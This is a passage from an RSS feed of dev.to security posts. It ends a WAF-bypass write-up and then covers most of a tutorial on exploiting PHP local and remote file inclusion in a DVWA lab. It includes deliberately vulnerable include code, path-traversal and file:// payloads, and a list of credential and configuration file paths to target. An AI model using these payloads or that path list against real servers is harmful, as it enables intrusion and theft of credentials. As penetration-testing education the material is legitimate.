&lt;p&gt;The hex view was then opened (the semicolon’s hexadecimal value is &lt;code&gt;0x3b&lt;/code&gt;), and &lt;code&gt;3b&lt;/code&gt; was altered to &lt;code&gt;00&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwnorizf464pzhszhla8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwnorizf464pzhszhla8q.png" alt=" " width="800" height="517"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The packet was sent.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fse88tmugeopton4xrf5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fse88tmugeopton4xrf5d.png" alt=" " width="799" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The bypass was successful.&lt;/p&gt;

</description>
      <category>firewall</category>
      <category>cybersecurity</category>
      <category>vulnerabilities</category>
      <category>waf</category>
    </item>
    <item>
      <title>Different ways to get a shell using PHP file inclusion vulnerabilities</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 08 Jun 2026 01:16:52 +0000</pubDate>
      <link>https://dev.to/excalibra/different-ways-to-get-a-shell-using-php-file-inclusion-vulnerabilities-11n2</link>
      <guid>https://dev.to/excalibra/different-ways-to-get-a-shell-using-php-file-inclusion-vulnerabilities-11n2</guid>
      <description>&lt;h2&gt;
  
  
  Related Functions
&lt;/h2&gt;

&lt;p&gt;The following four functions in PHP are typically responsible for file inclusion vulnerabilities:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.php.net/manual/en/function.include.php" rel="noopener noreferrer"&gt;&lt;code&gt;include()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://php.net/manual/en/function.include-once.php" rel="noopener noreferrer"&gt;&lt;code&gt;include_once()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://php.net/manual/en/function.require.php" rel="noopener noreferrer"&gt;&lt;code&gt;require()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://php.net/manual/en/function.require-once.php" rel="noopener noreferrer"&gt;&lt;code&gt;require_once()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If an error occurs during inclusion with &lt;code&gt;require()&lt;/code&gt; (e.g., the file does not exist), execution will halt immediately, and subsequent statements will not be executed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod3vli5550j5aw03mm7z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod3vli5550j5aw03mm7z.png" alt=" " width="800" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If an error occurs with &lt;code&gt;include()&lt;/code&gt;, only a warning is issued, and execution continues with subsequent statements.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjak8aggh7a5itydqcs04.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjak8aggh7a5itydqcs04.png" alt=" " width="799" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;require_once()&lt;/code&gt; and &lt;code&gt;include_once()&lt;/code&gt; behave similarly to &lt;code&gt;require()&lt;/code&gt; and &lt;code&gt;include()&lt;/code&gt;, respectively. If a file has already been included, &lt;code&gt;require_once()&lt;/code&gt; and &lt;code&gt;include_once()&lt;/code&gt; will not include it again, thereby avoiding issues such as function redefinition or variable reassignment.&lt;/p&gt;

&lt;p&gt;When these four functions are used to include files, regardless of the file type (e.g., image, text file), the file is parsed directly as PHP. Test code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the same directory, there is a file named &lt;code&gt;phpinfo.txt&lt;/code&gt; with the following content: &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;. Simply visit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fileinclude.php?file&lt;span class="o"&gt;=&lt;/span&gt;phpinfo.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will successfully execute &lt;code&gt;phpinfo()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg64mvr1un3k0uj65jhdh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg64mvr1un3k0uj65jhdh.png" alt=" " width="800" height="192"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;The application uses one of the relevant file inclusion functions.&lt;/li&gt;
&lt;li&gt;The file inclusion function uses a dynamic variable, e.g., &lt;code&gt;include $file;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;An attacker can control that variable, e.g., &lt;code&gt;$file = $_GET['file'];&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Classification
&lt;/h3&gt;

&lt;h4&gt;
  
  
  LFI (Local File Inclusion)
&lt;/h4&gt;

&lt;p&gt;Local File Inclusion (LFI) refers to vulnerabilities that allow an attacker to include and execute local files. In most cases, encountered file inclusion vulnerabilities are LFI.&lt;/p&gt;

&lt;p&gt;This type of vulnerability is not affected by the &lt;code&gt;allow_url_fopen&lt;/code&gt; or &lt;code&gt;allow_url_include&lt;/code&gt; settings. For example, setting both to &lt;code&gt;Off&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; and restarting the server:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aah6dkonifxu4qiypgn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aah6dkonifxu4qiypgn.png" alt=" " width="800" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Visiting &lt;code&gt;?page=../../../phpinfo.php&lt;/code&gt; still successfully parses &lt;code&gt;phpinfo()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6diwtlt5s815vlhztg1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6diwtlt5s815vlhztg1.png" alt=" " width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  RFI (Remote File Inclusion)
&lt;/h4&gt;

&lt;p&gt;Remote File Inclusion (RFI) allows an attacker to include and execute files from a remote server. Since the remote file is under the attacker's control, this vulnerability can be extremely harmful. However, RFI has stricter prerequisites, requiring the following &lt;code&gt;php.ini&lt;/code&gt; configurations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;allow_url_fopen = On&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_url_include = On&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both must be &lt;code&gt;On&lt;/code&gt; for remote file inclusion to succeed. For example, setting both to &lt;code&gt;Off&lt;/code&gt; and restarting the server:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aah6dkonifxu4qiypgn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2aah6dkonifxu4qiypgn.png" alt=" " width="800" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Visiting &lt;code&gt;?page=http://192.168.1.4&lt;/code&gt; will produce errors:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;
&lt;span class="nc"&gt;Warning&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;disabled&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;allow_url_fopen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;D&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;

&lt;span class="nc"&gt;Warning&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;open&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;suitable&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt; &lt;span class="n"&gt;could&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;D&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;

&lt;span class="nc"&gt;Warning&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;opening&lt;/span&gt; &lt;span class="s1"&gt;'http://192.168.1.4'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nf"&gt;inclusion&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;include_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'.;C:\php\pear;../../external/phpids/0.6/lib/'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;D&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyzjntin2u8ktiu0j9e0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyzjntin2u8ktiu0j9e0.png" alt=" " width="799" height="251"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After setting both configuration options back to &lt;code&gt;On&lt;/code&gt; and restarting the server, remote file inclusion works.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t8skc4zgmyvz6o0t0ps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7t8skc4zgmyvz6o0t0ps.png" alt=" " width="800" height="529"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Absolute Paths of Sensitive Files
&lt;/h3&gt;

&lt;p&gt;This article provides more detail: &lt;a href="https://dev.to/excalibra/windows-and-linux-sensitive-directory-path-summary-3b1o"&gt;Summary of Sensitive Directory Paths in Windows and Linux&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Below is a list of absolute paths for commonly used sensitive files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows:&lt;/span&gt;
c:/boot.ini                                 &lt;span class="c"&gt;# View system version&lt;/span&gt;
c:/windows/php.ini                          &lt;span class="c"&gt;# PHP configuration&lt;/span&gt;
c:/windows/my.ini                           &lt;span class="c"&gt;# MySQL configuration (may contain credentials)&lt;/span&gt;
c:/winnt/php.ini
c:/winnt/my.ini
C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\w&lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;.ini                          &lt;span class="c"&gt;# System configuration file&lt;/span&gt;
c:&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\d&lt;/span&gt;ata&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\u&lt;/span&gt;ser.MYD                &lt;span class="c"&gt;# MySQL user passwords&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\R&lt;/span&gt;hinoSoft.com&lt;span class="se"&gt;\S&lt;/span&gt;erv-U&lt;span class="se"&gt;\S&lt;/span&gt;ervUDaemon.ini   &lt;span class="c"&gt;# Virtual host paths and passwords&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\S&lt;/span&gt;erv-U&lt;span class="se"&gt;\S&lt;/span&gt;ervUDaemon.ini
c:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\i&lt;/span&gt;netsrv&lt;span class="se"&gt;\M&lt;/span&gt;etaBase.xml    &lt;span class="c"&gt;# IIS virtual host configuration&lt;/span&gt;
c:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\r&lt;/span&gt;epair&lt;span class="se"&gt;\s&lt;/span&gt;am                       &lt;span class="c"&gt;# Windows initial installation password&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\S&lt;/span&gt;erv-U&lt;span class="se"&gt;\S&lt;/span&gt;ervUAdmin.exe      &lt;span class="c"&gt;# Serv-U admin password (pre-6.0)&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\R&lt;/span&gt;hinoSoft.com&lt;span class="se"&gt;\S&lt;/span&gt;ervUDaemon.exe
C:&lt;span class="se"&gt;\D&lt;/span&gt;ocuments and Settings&lt;span class="se"&gt;\A&lt;/span&gt;ll Users&lt;span class="se"&gt;\A&lt;/span&gt;pplication Data&lt;span class="se"&gt;\S&lt;/span&gt;ymantec&lt;span class="se"&gt;\p&lt;/span&gt;cAnywhere&lt;span class="se"&gt;\*&lt;/span&gt;.cif  &lt;span class="c"&gt;# pcAnywhere login passwords&lt;/span&gt;
c:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\A&lt;/span&gt;pache Group&lt;span class="se"&gt;\A&lt;/span&gt;pache&lt;span class="se"&gt;\c&lt;/span&gt;onf&lt;span class="se"&gt;\h&lt;/span&gt;ttpd.conf or C:&lt;span class="se"&gt;\a&lt;/span&gt;pache&lt;span class="se"&gt;\c&lt;/span&gt;onf&lt;span class="se"&gt;\h&lt;/span&gt;ttpd.conf  &lt;span class="c"&gt;# Apache configuration&lt;/span&gt;
c:/Resin-3.0.14/conf/resin.conf             &lt;span class="c"&gt;# Resin configuration (JSP)&lt;/span&gt;
c:/Resin/conf/resin.conf
/usr/local/resin/conf/resin.conf
d:&lt;span class="se"&gt;\A&lt;/span&gt;PACHE&lt;span class="se"&gt;\A&lt;/span&gt;pache2&lt;span class="se"&gt;\c&lt;/span&gt;onf&lt;span class="se"&gt;\h&lt;/span&gt;ttpd.conf
C:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\m&lt;/span&gt;y.ini
C:&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\d&lt;/span&gt;ata&lt;span class="se"&gt;\m&lt;/span&gt;ysql&lt;span class="se"&gt;\u&lt;/span&gt;ser.MYD                &lt;span class="c"&gt;# MySQL user passwords&lt;/span&gt;

&lt;span class="c"&gt;# Linux/Unix:&lt;/span&gt;
/usr/local/app/apache2/conf/httpd.conf      &lt;span class="c"&gt;# Apache2 default configuration&lt;/span&gt;
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf  &lt;span class="c"&gt;# Virtual host settings&lt;/span&gt;
/usr/local/app/php5/lib/php.ini             &lt;span class="c"&gt;# PHP settings&lt;/span&gt;
/etc/sysconfig/iptables                     &lt;span class="c"&gt;# Firewall rules&lt;/span&gt;
/etc/httpd/conf/httpd.conf                  &lt;span class="c"&gt;# Apache configuration&lt;/span&gt;
/etc/rsyncd.conf                            &lt;span class="c"&gt;# rsync configuration&lt;/span&gt;
/etc/my.cnf                                 &lt;span class="c"&gt;# MySQL configuration&lt;/span&gt;
/etc/redhat-release                         &lt;span class="c"&gt;# System version&lt;/span&gt;
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/sysconfig/iptables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Inclusion Techniques
&lt;/h2&gt;

&lt;p&gt;The following examples use this test code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default settings: &lt;code&gt;allow_url_fopen = On&lt;/code&gt;, &lt;code&gt;allow_url_include = Off&lt;/code&gt;. Special requirements are noted where applicable.&lt;/p&gt;

&lt;h3&gt;
  
  
  PHP Pseudo-Protocols
&lt;/h3&gt;

&lt;p&gt;PHP provides numerous built-in URL-style wrappers that can be used with filesystem functions such as &lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;copy()&lt;/code&gt;, &lt;code&gt;file_exists()&lt;/code&gt;, and &lt;code&gt;filesize()&lt;/code&gt;. In addition, custom wrappers can be registered via &lt;code&gt;stream_wrapper_register()&lt;/code&gt;. PHP pseudo-protocols are supported protocols and wrappers (12 types):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Access local filesystem&lt;/span&gt;
&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Access HTTP(s) URLs&lt;/span&gt;
&lt;span class="n"&gt;ftp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Access FTP(s) URLs&lt;/span&gt;
&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Access various I/O streams&lt;/span&gt;
&lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Compression streams&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Data (RFC 2397)&lt;/span&gt;
&lt;span class="n"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Find matching file path patterns&lt;/span&gt;
&lt;span class="n"&gt;phar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — PHP Archive&lt;/span&gt;
&lt;span class="n"&gt;ssh2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Secure Shell 2&lt;/span&gt;
&lt;span class="n"&gt;rar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — RAR&lt;/span&gt;
&lt;span class="n"&gt;ogg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Audio streams&lt;/span&gt;
&lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;// — Process interactive streams&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  file://
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;file://&lt;/code&gt; pseudo-protocol accesses local filesystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_include&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technique:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;fileinclude&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;php&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;file:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="nv"&gt;C:&lt;/span&gt;&lt;span class="sr"&gt;/Windows/&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;ini&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ag697e406g6yuuc1ei0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ag697e406g6yuuc1ei0.png" alt=" " width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  php://input
&lt;/h4&gt;

&lt;p&gt;Allows access to the raw request body as a read-only stream. It can read unparsed POST data. Ineffective when &lt;code&gt;enctype="multipart/form-data"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;allow_url_include = On&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;No requirement for &lt;code&gt;allow_url_fopen&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

